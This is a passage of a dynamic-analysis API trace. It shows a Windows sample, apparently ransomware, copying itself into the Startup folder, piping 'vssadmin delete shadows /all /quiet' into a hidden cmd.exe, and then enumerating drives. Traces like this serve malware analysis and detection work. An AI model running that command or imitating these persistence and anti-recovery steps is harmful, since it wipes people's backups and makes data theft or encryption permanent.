dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0034.290] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0034.291] ReadFile (in: hFile=0xe4, lpBuffer=0x2010020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2010020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0034.304] WriteFile (in: hFile=0xe8, lpBuffer=0x2010020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2010020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0034.306] ReadFile (in: hFile=0xe4, lpBuffer=0x2010020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2010020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0034.306] CloseHandle (hObject=0xe8) returned 1 [0034.307] CloseHandle (hObject=0xe4) returned 1 [0034.308] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x554b80 [0034.308] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x554b80, Size=0x20) returned 0x555a80 [0034.308] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x554b80 [0034.308] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x554b80, Size=0x20) returned 0x555a30 [0034.308] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0034.308] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0034.308] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0034.308] lstrlenW (lpString="kernel32.dll") returned 12 [0034.308] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555a30 | out: hHeap=0x520000) returned 1 [0034.308] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0034.308] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555a80 | out: hHeap=0x520000) returned 1 [0034.308] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2010020 | out: hHeap=0x520000) returned 1 [0034.313] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55b6e0 | out: hHeap=0x520000) returned 1 [0034.313] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56b6e8 | out: hHeap=0x520000) returned 1 [0034.313] lstrlenW (lpString="%windir%\\System32") returned 17 [0034.313] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556af8 | out: hHeap=0x520000) returned 1 [0034.313] lstrlenW (lpString="%appdata%") returned 9 [0034.313] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5344e8 | out: hHeap=0x520000) returned 1 [0034.313] lstrlenW (lpString="%sh(Startup)%") returned 13 [0034.313] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5344c0 | out: hHeap=0x520000) returned 1 [0034.313] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0034.313] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b40 | out: hHeap=0x520000) returned 1 [0034.313] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x554b80 [0034.313] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x554b80, Size=0x20) returned 0x5344c0 [0034.313] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x5344c0, Size=0x40) returned 0x556b40 [0034.313] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x556b40, Size=0x80) returned 0x57b708 [0034.313] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x554b80 [0034.313] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x554b80, Size=0x20) returned 0x5344c0 [0034.313] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1fffc) returned 0x55b6e0 [0034.313] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x57d6f0 [0034.313] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x58d6f8 [0034.313] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x554b80 [0034.313] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x554b80, Size=0x20) returned 0x5344e8 [0034.313] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x5344e8, Size=0x40) returned 0x556b40 [0034.313] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x556b40, Size=0x80) returned 0x57b790 [0034.313] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x57b790, Size=0x100) returned 0x557d00 [0034.313] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0034.313] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x557d00 | out: hHeap=0x520000) returned 1 [0034.313] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x57d6f0, nSize=0x7fff | out: lpDst="C:\\Windows\\system32\\cmd.exe") returned 0x1c [0034.313] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x58d6f8 | out: hHeap=0x520000) returned 1 [0034.313] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d6f0 | out: hHeap=0x520000) returned 1 [0034.314] CreatePipe (in: hReadPipe=0x18fd58, hWritePipe=0x18fd5c, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fd58*=0xe8, hWritePipe=0x18fd5c*=0xec) returned 1 [0034.314] CreatePipe (in: hReadPipe=0x18fdc8, hWritePipe=0x18fdcc, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fdc8*=0xf0, hWritePipe=0x18fdcc*=0xf4) returned 1 [0034.314] SetHandleInformation (hObject=0xec, dwMask=0x1, dwFlags=0x0) returned 1 [0034.314] SetHandleInformation (hObject=0xf0, dwMask=0x1, dwFlags=0x0) returned 1 [0034.315] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd68*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4), lpProcessInformation=0x18fdb8 | out: lpCommandLine=0x0, lpProcessInformation=0x18fdb8*(hProcess=0xfc, hThread=0xf8, dwProcessId=0xa60, dwThreadId=0xa90)) returned 1 [0034.598] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0034.598] WriteFile (in: hFile=0xec, lpBuffer=0x57b708*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x18fd64, lpOverlapped=0x0 | out: lpBuffer=0x57b708*, lpNumberOfBytesWritten=0x18fd64*=0x41, lpOverlapped=0x0) returned 1 [0034.598] CloseHandle (hObject=0xfc) returned 1 [0034.598] CloseHandle (hObject=0xf8) returned 1 [0034.598] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55b6e0 | out: hHeap=0x520000) returned 1 [0034.598] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0034.598] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57b708 | out: hHeap=0x520000) returned 1 [0034.598] lstrlenW (lpString="%comspec%") returned 9 [0034.598] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5344c0 | out: hHeap=0x520000) returned 1 [0034.598] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf8 [0034.599] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x554b80 [0034.599] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x554b80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc [0034.599] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5348f8 [0034.599] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x5348f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x104 [0034.600] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x554b98 [0034.600] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x554b98, Size=0x20) returned 0x5344c0 [0034.600] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x5344c0, Size=0x40) returned 0x556b40 [0034.600] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0034.600] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x557d78 [0034.600] GetLogicalDrives () returned 0x4 [0034.600] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10014) returned 0x55b6e0 [0034.600] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x554b98 [0034.600] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x554b98, Size=0x20) returned 0x5344c0 [0034.600] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x5344c0, Size=0x40) returned 0x556bd0 [0034.600] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x556bd0, Size=0x80) returned 0x57b708 [0034.600] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x57b708, Size=0x100) returned 0x5592e8 [0034.600] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x5592e8, Size=0x200) returned 0x5592e8 [0034.600] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x5592e8, Size=0x400) returned 0x5592e8 [0034.600] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x5592e8, Size=0x800) returned 0x559900 [0034.600] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x559900, Size=0x1000) returned 0x56b700 [0034.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10000) returned 0x57d6f0 [0034.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x554b98 [0034.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x554c70 [0034.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4) returned 0x5348a0 [0034.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x554c88 [0034.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4) returned 0x5348b0 [0034.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x554ca0 [0034.601] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x5348b0, Size=0x8) returned 0x5348b0 [0034.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x554cb8 [0034.601] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x5348b0, Size=0x10) returned 0x534868 [0034.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x554cd0 [0034.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x554ce8 [0034.601] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x534868, Size=0x20) returned 0x557c00 [0034.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x554d00 [0034.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5348b0 [0034.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe) returned 0x554d18 [0034.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe) returned 0x554d30 [0034.601] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x557c00, Size=0x40) returned 0x555428 [0034.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe) returned 0x554d48 [0034.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe) returned 0x554d60 [0034.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe) returned 0x554d78 [0034.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe) returned 0x554d90 [0034.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x554da8 [0034.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x554dc0 [0034.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x555470 [0034.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x554dd8 [0034.601] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x555428, Size=0x80) returned 0x5592e8 [0034.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x554df0 [0034.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x554e08 [0034.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x554e20 [0034.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x554e38 [0034.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559918 [0034.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x559930 [0034.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559948 [0034.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x534868 [0034.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559960 [0034.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559978 [0034.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x559990 [0034.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5599a8 [0034.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x5599c0 [0034.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5599d8 [0034.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x5599f0 [0034.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559a08 [0034.602] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x5592e8, Size=0x100) returned 0x5592e8 [0034.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559a20 [0034.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559a38 [0034.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559a50 [0034.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x559a68 [0034.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559a80 [0034.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559a98 [0034.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x534878 [0034.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559ab0 [0034.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559ac8 [0034.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559ae0 [0034.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x6) returned 0x557c00 [0034.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559af8 [0034.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559b10 [0034.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x557c10 [0034.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559b28 [0034.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559b40 [0034.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x559b58 [0034.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559b70 [0034.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559b88 [0034.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559ba0 [0034.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe) returned 0x559bb8 [0034.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559bd0 [0034.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x559be8 [0034.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559c00 [0034.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559c18 [0034.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559c30 [0034.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559c48 [0034.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x557c20 [0034.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559c60 [0034.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559c78 [0034.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559c90 [0034.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559ca8 [0034.603] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x5592e8, Size=0x200) returned 0x5592e8 [0034.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559cc0 [0034.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x555428 [0034.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559cd8 [0034.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559d18 [0034.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559d30 [0034.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559d48 [0034.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559d60 [0034.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559d78 [0034.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559d90 [0034.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559da8 [0034.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559dc0 [0034.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x559dd8 [0034.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x559df0 [0034.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559e08 [0034.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559e20 [0034.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x559e38 [0034.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x559e50 [0034.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559e68 [0034.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x559e80 [0034.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x559e98 [0034.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559eb0 [0034.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559ec8 [0034.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559ee0 [0034.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x555438 [0034.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559ef8 [0034.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559f10 [0034.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559f28 [0034.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x55a118 [0034.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559f40 [0034.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x559f58 [0034.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559f70 [0034.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559f88 [0034.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559fa0 [0034.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559fb8 [0034.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559fd0 [0034.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x559fe8 [0034.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x55a000 [0034.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x55a018 [0034.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x55a030 [0034.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x55a048 [0034.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x55a060 [0034.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x55a078 [0034.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x55a090 [0034.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x55a0a8 [0034.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x55a0c0 [0034.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x55a0d8 [0034.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56c720 [0034.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56c738 [0034.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56c750 [0034.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x55a128 [0034.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x6) returned 0x55a138 [0034.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56c768 [0034.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56c780 [0034.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56c798 [0034.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56c7b0 [0034.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56c7c8 [0034.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x56c7e0 [0034.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56c7f8 [0034.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56c810 [0034.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56c828 [0034.605] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56c840 [0034.605] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x56c858 [0034.605] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56c870 [0034.605] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56c888 [0034.605] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x5592e8, Size=0x400) returned 0x5592e8 [0034.605] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56c8a0 [0034.605] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56c8b8 [0034.605] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x56c8d0 [0034.605] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56c8e8 [0034.605] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56c900 [0034.605] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56c918 [0034.605] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x56c930 [0034.605] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56c948 [0034.605] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56c960 [0034.605] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56c978 [0034.605] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x55a148 [0034.605] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56c990 [0034.605] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x56c9a8 [0034.605] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56c9c0 [0034.605] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56c9d8 [0034.605] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56c9f0 [0034.605] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56ca08 [0034.605] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe) returned 0x56ca20 [0034.605] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56ca38 [0034.605] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56ca50 [0034.605] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56ca68 [0034.605] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56ca80 [0034.605] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56ca98 [0034.605] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56cab0 [0034.605] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56cac8 [0034.605] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56cae0 [0034.605] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x55a158 [0034.605] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x56cb20 [0034.605] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) 